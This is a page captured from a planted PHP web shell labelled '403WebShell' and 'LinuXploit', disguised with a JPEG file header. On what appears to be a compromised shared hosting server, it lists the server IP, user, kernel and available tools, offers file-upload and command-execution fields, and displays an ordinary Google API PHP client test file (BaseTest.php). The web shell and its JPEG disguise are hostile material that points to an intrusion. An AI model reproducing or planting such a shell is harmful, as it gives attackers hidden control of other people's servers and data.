ÿØÿà JPEG ÿþ; 403WebShell
403Webshell
Server IP : 68.65.120.201  /  Your IP : 216.73.216.78
Web Server : LiteSpeed
System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : taxhyuvu ( 2294)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/taxhyuvu/public_html/vendor/google/apiclient/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/taxhyuvu/public_html/vendor/google/apiclient/tests/BaseTest.php
<?php
/*
 * Copyright 2011 Google Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

namespace Google\Tests;

use Google\Client;
use GuzzleHttp\Client as GuzzleClient;
use GuzzleHttp\ClientInterface;
use Symfony\Component\DomCrawler\Crawler;
use League\Flysystem\Adapter\Local;
use League\Flysystem\Filesystem;
use Cache\Adapter\Filesystem\FilesystemCachePool;
use Yoast\PHPUnitPolyfills\TestCases\TestCase;

if (trait_exists('\Prophecy\PhpUnit\ProphecyTrait')) {
    trait BaseTestTrait
    {
        use \Prophecy\PhpUnit\ProphecyTrait;
    }
} else {
    trait BaseTestTrait
    {
    }
}

class BaseTest extends TestCase
{
    private $key;
    private $client;

    use BaseTestTrait;

    public function getClient()
    {
        if (!$this->client) {
            $this->client = $this->createClient();
        }

        return $this->client;
    }

    public function getCache($path = null)
    {
        $path = $path ?: sys_get_temp_dir().'/google-api-php-client-tests/';
        $filesystemAdapter = new Local($path);
        $filesystem        = new Filesystem($filesystemAdapter);

        return new FilesystemCachePool($filesystem);
    }

    private function createClient()
    {
        $options = [
            'auth' => 'google_auth',
            'exceptions' => false,
        ];

        if ($proxy = getenv('HTTP_PROXY')) {
            $options['proxy'] = $proxy;
            $options['verify'] = false;
        }

        // adjust constructor depending on guzzle version
        if ($this->isGuzzle5()) {
            $options = ['defaults' => $options];
        }

        $httpClient = new GuzzleClient($options);

        $client = new Client();
        $client->setApplicationName('google-api-php-client-tests');
        $client->setHttpClient($httpClient);
        $client->setScopes(
            [
            "https://www.googleapis.com/auth/tasks",
            "https://www.googleapis.com/auth/adsense",
            "https://www.googleapis.com/auth/youtube",
            "https://www.googleapis.com/auth/drive",
            ]
        );

        if ($this->key) {
            $client->setDeveloperKey($this->key);
        }

        list($clientId, $clientSecret) = $this->getClientIdAndSecret();
        $client->setClientId($clientId);
        $client->setClientSecret($clientSecret);
        if (version_compare(PHP_VERSION, '5.5', '>=')) {
            $client->setCache($this->getCache());
        }

        return $client;
    }

    public function checkToken()
    {
        $client = $this->getClient();
        $cache = $client->getCache();
        $cacheItem = $cache->getItem('access_token');

        if (!$token = $cacheItem->get()) {
            if (!$token = $this->tryToGetAnAccessToken($client)) {
                return $this->markTestSkipped("Test requires access token");
            }
            $cacheItem->set($token);
            $cache->save($cacheItem);
        }

        $client->setAccessToken($token);

        if ($client->isAccessTokenExpired()) {
            // as long as we have client credentials, even if its expired
            // our access token will automatically be refreshed
            $this->checkClientCredentials();
        }

        return true;
    }

    public function tryToGetAnAccessToken(Client $client)
    {
        $this->checkClientCredentials();

        $client->setRedirectUri("urn:ietf:wg:oauth:2.0:oob");
        $client->setConfig('access_type', 'offline');
        $authUrl = $client->createAuthUrl();
        echo "\nGo to: $authUrl\n";
        echo "\nPlease enter the auth code:\n";
        ob_flush();
        `open '$authUrl'`;
        $authCode = trim(fgets(STDIN));

        if ($accessToken = $client->fetchAccessTokenWithAuthCode($authCode)) {
            if (isset($accessToken['access_token'])) {
                return $accessToken;
            }
        }

        return false;
    }

    private function getClientIdAndSecret()
    {
        $clientId = getenv('GOOGLE_CLIENT_ID') ?: null;
        $clientSecret = getenv('GOOGLE_CLIENT_SECRET') ?: null;

        return [$clientId, $clientSecret];
    }

    protected function checkClientCredentials()
    {
        list($clientId, $clientSecret) = $this->getClientIdAndSecret();
        if (!($clientId && $clientSecret)) {
            $this->markTestSkipped("Test requires GOOGLE_CLIENT_ID and GOOGLE_CLIENT_SECRET to be set");
        }
    }

    protected function checkServiceAccountCredentials()
    {
        if (!$f = getenv('GOOGLE_APPLICATION_CREDENTIALS')) {
            $skip = "This test requires the GOOGLE_APPLICATION_CREDENTIALS environment variable to be set\n"
            . "see https://developers.google.com/accounts/docs/application-default-credentials";
            $this->markTestSkipped($skip);

            return false;
        }

        if (!file_exists($f)) {
            $this->markTestSkipped('invalid path for GOOGLE_APPLICATION_CREDENTIALS');
        }

        return true;
    }

    protected function checkKey()
    {
        if (file_exists($apiKeyFile = __DIR__ . DIRECTORY_SEPARATOR . '.apiKey')) {
            $apiKey = file_get_contents($apiKeyFile);
        } elseif (!$apiKey = getenv('GOOGLE_API_KEY')) {
            $this->markTestSkipped(
                "Test requires api key\nYou can create one in your developer console"
            );
            file_put_contents($apiKeyFile, $apiKey);
        }
        $this->key = $apiKey;
    }

    protected function loadExample($example)
    {
        // trick app into thinking we are a web server
        $_SERVER['HTTP_USER_AGENT'] = 'google-api-php-client-tests';
        $_SERVER['HTTP_HOST'] = 'localhost';
        $_SERVER['REQUEST_METHOD'] = 'GET';

        // include the file and return an HTML crawler
        $file = __DIR__ . '/../examples/' . $example;
        if (is_file($file)) {
            ob_start();
            include $file;
            $html = ob_get_clean();

            return new Crawler($html);
        }

        return false;
    }

    protected function isGuzzle7()
    {
        if (!defined('\GuzzleHttp\ClientInterface::MAJOR_VERSION')) {
            return false;
        }

        return (7 === ClientInterface::MAJOR_VERSION);
    }

    protected function isGuzzle6()
    {
        if (!defined('\GuzzleHttp\ClientInterface::VERSION')) {
            return false;
        }
        $version = ClientInterface::VERSION;

        return ('6' === $version[0]);
    }

    protected function isGuzzle5()
    {
        if (!defined('\GuzzleHttp\ClientInterface::VERSION')) {
            return false;
        }

        $version = ClientInterface::VERSION;

        return ('5' === $version[0]);
    }

    public function onlyGuzzle6()
    {
        if (!$this->isGuzzle6()) {
            $this->markTestSkipped('Guzzle 6 only');
        }
    }

    public function onlyPhp55AndAbove()
    {
        if (version_compare(PHP_VERSION, '5.5', '<')) {
            $this->markTestSkipped('PHP 5.5 and above only');
        }
    }

    public function onlyGuzzle5()
    {
        if (!$this->isGuzzle5()) {
            $this->markTestSkipped('Guzzle 5 only');
        }
    }

    public function onlyGuzzle6Or7()
    {
        if (!$this->isGuzzle6() && !$this->isGuzzle7()) {
            $this->markTestSkipped('Guzzle 6 or 7 only');
        }
    }

    protected function getGuzzle5ResponseMock()
    {
        $response = $this->prophesize('GuzzleHttp\Message\ResponseInterface');
        $response->getStatusCode()
            ->willReturn(200);

        $response->getHeaders()->willReturn([]);
        $response->getBody()->willReturn('');
        $response->getProtocolVersion()->willReturn('');
        $response->getReasonPhrase()->willReturn('');

        return $response;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit